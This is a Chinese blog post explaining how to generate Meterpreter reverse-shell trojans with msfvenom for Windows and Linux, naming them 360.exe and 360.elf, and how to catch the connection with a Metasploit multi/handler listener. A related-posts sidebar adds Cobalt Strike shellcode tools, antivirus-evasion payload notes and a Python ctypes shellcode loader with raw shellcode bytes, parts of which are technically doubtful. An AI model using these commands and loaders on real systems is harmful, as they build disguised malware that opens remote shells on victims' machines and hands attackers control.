简单的shellcode制作

最新推荐文章于 2024-04-17 07:41:23 发布
最新推荐文章于 2024-04-17 07:41:23 发布
阅读量231 收藏
点赞数
分类专栏： 网络安全 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/renyizou/article/details/117947242
版权
  • shellcode是一串机器能执行的代码
  • 制作要用到msfvenom命令
  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.183.202 LPORT=4343 -f exe > 360.exe
    • 生成一个名字叫360.exe的木马
  • 此时还需要一个监听端--msf中的监听模块
  • use exploit/multi/handler

设置好lhost和lpost，记得设置payload，开启监听

运行木马

就能建立session，直接就进去了

  • linux 的木马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.163.128 LPORT=4344 -f elf > 360.elf

木马在linux里设置777权限

监听的 payload 也要改成 set payload linux/x86/meterpreter/reverse_tcp

 

其他一样

 

 

 

人已走
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
【Pwn】手动制作shellcode并测试
weixin_52553215的博客
05-26 443
1.测试shellcode的代码:shellcode_32.c 编译生成shellcode_test(注意取消NX保护，32、64位要区分) 2.shellcode_32.asm源码 3. (1)使用汇编器nasm把shellcode_32.asm编译成shellcode_32.o文件 (2)shellcode_32.o链接生成可执行文件shellcode_32_exe（可省略） (3)从 shellcode_32.o或shellcode_32_exe 提取code段,生成shell..
CSSG：Cobalt Strike Shellcode生成工具
weixin_43977912的博客
01-24 3594
CSSG CSSG是一款功能强大的Cobalt Strike Shellcode生成工具。本质上来说，CSSG是一个具备攻击性的Python脚本，广大研究人员可以使用它来轻松生成并格式化信标Shellcode。 该工具支持生成无阶段信标Shellcode，并带有暴露的退出方法、额外的格式化、加密、编码、压缩和多行输出等功能。 注意：Shellcode的转换通常需要按菜单顺序降序执行。 执行要求 可选的AES加密选项使用/assets文件夹中的python脚本实现。 具体取决于要安装的pycryptodome
CSSG：Cobalt Strike Shellcode生成工具，2024年最新面试官都被搞懵了
2401_83973943的博客
04-17 1004
生成一个信标Shellcode Payload，该Payload可以从同一架构父信标继承关键函数指针。除此之外，工具还会在在加密的Shellcode数据前面加上一个随机生成的向量。使用外部生成的原始Shellcode文件代替生成信标Shellcode。Gzip + b64 - 先进行gzip压缩，然后进行Base64编码。b64 + gzip - 先进行Base64编码，然后进行gzip压缩。生成x86 Shellcode，默认生成x64 Shellcode。
1.4 编写简易ShellCode弹窗
CSDN
08-28 4930
在前面的章节中相信读者已经学会了使用`Metasploit`工具生成自己的`ShellCode`代码片段了，本章将继续深入探索关于`ShellCode`的相关知识体系，ShellCode 通常是指一个原始的可执行代码的有效载荷，攻击者通常会使用这段代码来获得被攻陷系统上的交互Shell的访问权限，而现在用于描述一段自包含的独立的可执行代码片段。ShellCode代码的编写有多种方式，通常会优先使用汇编语言实现，这得益于汇编语言的可控性。
网络攻防技术——shellcode编写
学习记录
02-27 3187
一、题目 shellcode广泛用于许多涉及代码注入的攻击中。编写shellcode是相当有挑战性的。虽然我们可以很容易地从互联网上找到现有的shellcode，但是能够从头开始编写我们自己的shellcode总是令人兴奋的。shellcode中涉及到几种有趣的技术。本实验室的目的是帮助学生理解这些技术，以便他们能够编写自己的shellcode。 编写shellcode有几个挑战，一个是确保二进制文件中没有0x00，另一个是找出命令中使用的数据的地址。第一个挑战不是很难解决，有几种方法可以解决它。第二个挑战
开源一个ShellCode生成框架
鬼手的博客
05-25 2746
文章目录前言项目预览项目配置文件命名与作用ShellCode大小的计算方法第一部分 ShellCode生成第二部分 ShellCode部分ShellCode加载器如何提取ShellCode如何扩展ShellCode框架？参考资料项目下载 前言 现阶段，shellcode编写门槛高，大多需要有较深的汇编功底，而Metersploit上的Shellcode开源生成框架，功能单一，扩展性差，大多只能在d...
Shellcode：Shellcode手工制作
02-12
每个目录都包含特定体系结构的shellcode。 shellcode_tester.c是用于测试目的的文件。 opex.py是objdump -D命令的操作码提取器。 如下使用它： objdump -D ./file | python opex.py 祝好运！
Custom Shellcode
最新发布
05-16
Custom Shellcode 代码参考.
shellcode转unicode工具
06-13
这是一款超级便宜的shellcode转unicode工具，非常好用！
ShellcodeMaker:Gui 开发用于制作 shellcode-开源
07-11
`ShellcodeMaker:Gui 开发用于制作 shellcode-开源` 是一个专为简化 shellcode 创建流程而设计的图形用户界面（GUI）工具，特别适合那些不熟悉底层编程的用户。这个项目是开源的，意味着它的源代码对公众开放，允许...
shellcode分析工具.zip
05-25
用来加载shellcode的程序，execsc.exe是cuckoo自带的，sc_test.exe是导师给的。
一款开源的ShellCode生成引擎
11-29
1.本工具只支持x86 coff格式的文件 2.全局变量记得初始化，测试的时候发现有事全局变量没有初始化会获取不到 3.关闭MSVC的全局优化，开启全局优化时OBJ中的信息无法获取 4.不要在代码中使用c++一些特性，类似异常等，测试类时发现基本的类是可以满足的不要使用c++的一些库，切记
shellcode_generator:shellcode，生成器，Visual Studio，C ++，Windows
03-09
shellcode_generator shellcode，生成器，Visual Studio，C ++，Windows
shellcode帮助工具,直接把exe转shellcode
12-29
Shellcode Helper v1.62 Coded by TeLeMan (c) 2008-2013 Usage: schelper.exe [options] Options: -i [input file] input file (Default: stdin) -o [output file] output file (Default: stdout) -s input file format (Default: Auto-Detection) -sb input file format is Binary -sp the input file format's parameters -d output file format (Default: C format) -db output file format is Binary -dp the output file format's parameters -search get the start offset by the pattern: e.g. PK\x03\x04 -soff fix the match offset after searching (Default: 0) -off convert the input file from the offset (Default: 0) -len convert the input file with the length (Default: 0 - MAX) -en [encoder] encode shellcode (Default: XorDword) -de [encoder] decode shellcode (Default: Auto-Detection) -ex exclude characters: e.g. 0x00,0x01-0x1F,0xFF (Default: 0x00) -in incude characters only -ep the encoder's parameters -t [pid] execute or inject shellcode into process for testing -td [pid] execute or inject shellcode into process for debugging -stack put shellcode into stack and execute it (ESP is the shellcode start) -noinfo display no normal messages except error messages Available formats: 0 - C 1 - C(HexArray) 2 - Perl 3 - Python 4 - Ruby 5 - JavaScript(Escape) 6 - VBScript(Escape) 7 - Pascal 8 - MASM(Data) 9 - HexDump 10 - BitString 11 - HexString 12 - HexArray(C like) 13 - Base64 14 - Binary 15 - HexString(C like) 16 - HexString(Escape) 17 - HexString(JavaScript,UNICODE) 18 - URI(ISO-8859-1) 19 - XML(PCDATA) 20 - BigNumber 21 - BigNumber(Hex) 22 - BigNumber(BaseX) 23 - FloatPoint 24 - UnixTimestamp 25 - GUID 26 - MASM(ASM) 27 - NASM 28 - YASM(ASM) 29 - FASM(ASM) 30 - JWASM(ASM) 31 - POASM(ASM) 32 - GOASM(ASM) 33 - GNU ASM Available encoders:
chiralium:Windows的Shellcode-to-binary生成器
05-08
手性 描述 只是一个简单的工具，可以使用Golang从shellcode生成二进制文件。 当然，您需要能够“构建”。 您也可以指定自己的shellcode或使用msfvenom即时生成一个抄表器reverse_https（x86或x64）。 为了避免静态shellcode的检测，shellcode使用AES加密存储（每次编译都会生成唯一的随机密钥/ iv），然后存储在go文件中，然后在执行时进行编译和解密。 还创建了metasploit的资源文件，因为我太懒了，无法手动运行它。 我不相信任何东西，只是使用了来自许多地方的东西，例如。 目前，您可以： 仅编译Windows Shellcode 针对x86或x64体系结构进行编译 使用syscall执行您的shellcode 该程序已在Linux（Debian）和python3上进行了测试。 安装 所需组件： 高朗 python3
shellcode自动生成技术研究
07-20
从shellcode基本形式入手，说明shellcode编写方法，从而进行自动化生成
手把手简易实现shellcode及详解
3-Number
06-22 6296
转载理由： 处于安全行业靠边产业，经常听和看到shellcode，但是只有模糊的认识，于是学习一把，毕竟C和汇编了解，开阔下视野； 转载于：http://blog.nsfocus.net/simple-realization-hand-handle-shellcode-detailed-explanation/?utm_source=tuicool&utm_medium=referral
Kali的学习笔记篇（八）使用msf生成的shellcode制作免杀payload
Kind&红衣的博客
08-13 6503
环境：     kali-linux-2018.2-amd.iso       Visual Studio 2017     msfvenom    更新时间：2018年8月13日07:06:43 直接注入的生成方式（一）： //生成c格式的后门,-p指定模块,-e 指定编码,-i指定编码次数,-f 输出格式,-b 去除指定代码 root@kali:~# msfvenom -p wi...
PWN基础11：手动制作shellcode并测试
prettyX的博客
07-14 853
用于测试shellcode的代码如下 #include <stdio.h> void main() { char *shellcode; read(0,shellcode,1000); void(*run)()=shellcode; run(); } 下面是我们要测试的shellcode，就是在上一节课，我们用到的 （上一节课：https://blog.csdn.net/prettyX/article/details/107301127） push
用python制作shellcode加载器
08-08
### 回答1： 制作 Shellcode 加载器的方法有很多，这里介绍一种基于 Python 的实现方法。 首先，我们需要编写一个能够执行 shellcode 的程序。这个程序可以使用 C 语言编写，也可以使用其他语言编写。下面是一个简单的 C 语言程序，它会执行传入的 shellcode： ```c #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char *shellcode = argv[1]; ((void (*)(void))shellcode)(); return 0; } ``` 编译这个程序： ``` gcc -o shellcode_loader shellcode_loader.c ``` 现在，我们可以使用 Python 来编写一个能够加载 shellcode 的脚本。这个脚本的基本思路是： 1. 将 shellcode 写入内存。 2. 调用 shellcode。 下面是 Python 代码： ```python import ctypes # shellcode shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # 将 shellcode 写入内存 memory = ctypes.create_string_buffer(shellcode) shellcode_address = ctypes.addressof(memory) # 调用 shellcode func = ctypes.CFUNCTYPE(None) func(shellcode_address) ``` 这个脚本使用 ctypes 库来实现将 shellcode 写入内存和调用 shellcode。首先，我们使用 create_string_buffer() 函数创建一个内存缓冲区，并将 shellcode 写入这个缓冲区。然后，我们使用 addressof() 函数获取缓冲区的内存地址，并将这个地址存储在 shellcode_address 变量中。最后，我们定义一个 CFUNCTYPE 类型的变量 func，并将其初始化为 None。CFUNCTYPE 类型表示一个 C 函数指针类型，它可以用来调用 C 函数。然后，我们可以通过 func(shellcode_address) 调用 shellcode。 需要注意的是，这个脚本必须以管理员权限运行，否则无法将 shellcode 写入内存。 以上就是基于 Python 的 shellcode 加载器的实现方法。 ### 回答2： Python是一种高级编程语言，可用于编写各种各样的脚本和程序。当使用Python编写shellcode加载器时，需要了解以下几个关键概念和步骤。 首先，要理解shellcode是什么。Shellcode是一种计算机程序，通常用于利用漏洞或执行特定的操作。Shellcode通常是二进制代码，用于在目标系统上执行指定的操作。 接下来，我们需要了解加载器是如何工作的。加载器是一段代码，其目的是将shellcode注入到目标进程中，并执行它。加载器通常是以DLL文件的形式存在，然后通过各种技术将其注入到目标进程中。 在Python中，可以使用ctypes库来加载DLL并执行其中的函数。ctypes提供了一种在Python中调用动态链接库函数的简单方法。 下面是一个简单的示例程序，用Python编写的shellcode加载器： ``` import ctypes # 加载DLL shellcode_dll = ctypes.WinDLL("shellcode.dll") # 加载器函数 def shellcode_loader(shellcode): # 将shellcode注入到目标进程中 shellcode_dll.LoadShellcode(shellcode) # 调用加载器函数 shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x31" shellcode_loader(shellcode) ``` 在上面的示例中，我们首先使用ctypes库加载了一个名为shellcode_dll的DLL文件。然后定义了一个名为shellcode_loader的函数，该函数将接受一个shellcode作为参数，并调用shellcode_dll中的LoadShellcode函数来执行注入操作。最后，我们创建了一个包含实际shellcode的字符串，并将其传递给shellcode_loader函数进行加载。 需要注意的是，为了编写一个完整的shellcode加载器，可能还需要进一步的处理和代码，以适应不同的操作系统和处理器架构。此外，也需要适当的授权和合法用途来使用此代码。 ### 回答3： Python是一种高级编程语言，它的灵活性使得它成为编写加载器的理想工具。一个加载器的目的是将shellcode从内存中加载到计算机的进程空间，以便运行恶意代码。 使用Python编写一个shellcode加载器的过程如下： 1. 导入所需的模块：首先，在代码的开头，我们需要导入所需的模块。对于shellcode加载器，我们需要使用`ctypes`模块来与C语言进行交互。该模块能够加载动态链接库（DLL）和执行其中的函数。 2. 定义shellcode：在代码的下一部分，我们需要定义要加载的shellcode。这可以是由其他工具生成的二进制代码，也可以是手动编写的shellcode。将shellcode保存在一个字符串变量中。 3. 创建内存空间：我们需要为shellcode分配一块内存空间，以便它能够在其中运行。使用`ctypes`模块的`create_string_buffer`函数来创建这块内存空间。通过设置空间的大小来确保能够容纳整个shellcode。 4. 将shellcode复制到内存中：使用Python的`ctypes`库的`memcpy`函数将shellcode复制到之前分配的内存空间中。 5. 将内存设置为可执行：为了使操作系统将这块内存视为可执行代码，我们需要在内存空间上设置相应的标志。使用`ctypes`库的`VirtualProtect`函数可以实现这一点。 6. 执行shellcode：最后，我们需要通过函数指针调用shellcode的入口点，以便开始执行恶意代码。使用`ctypes`库的`CFUNCTYPE`函数创建一个C函数指针，然后使用这个指针来调用shellcode。 编写完成后，可以将代码保存为一个Python脚本，并在命令行中运行它。此时，shellcode将被加载到内存中，并开始执行。 需要注意的是，编写和使用shellcode加载器涉及到一些复杂的概念，如内存管理和计算机安全。在实践中，请确保对代码的运行环境和目标平台有透彻的理解，并遵循适当的法律和道德规范。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值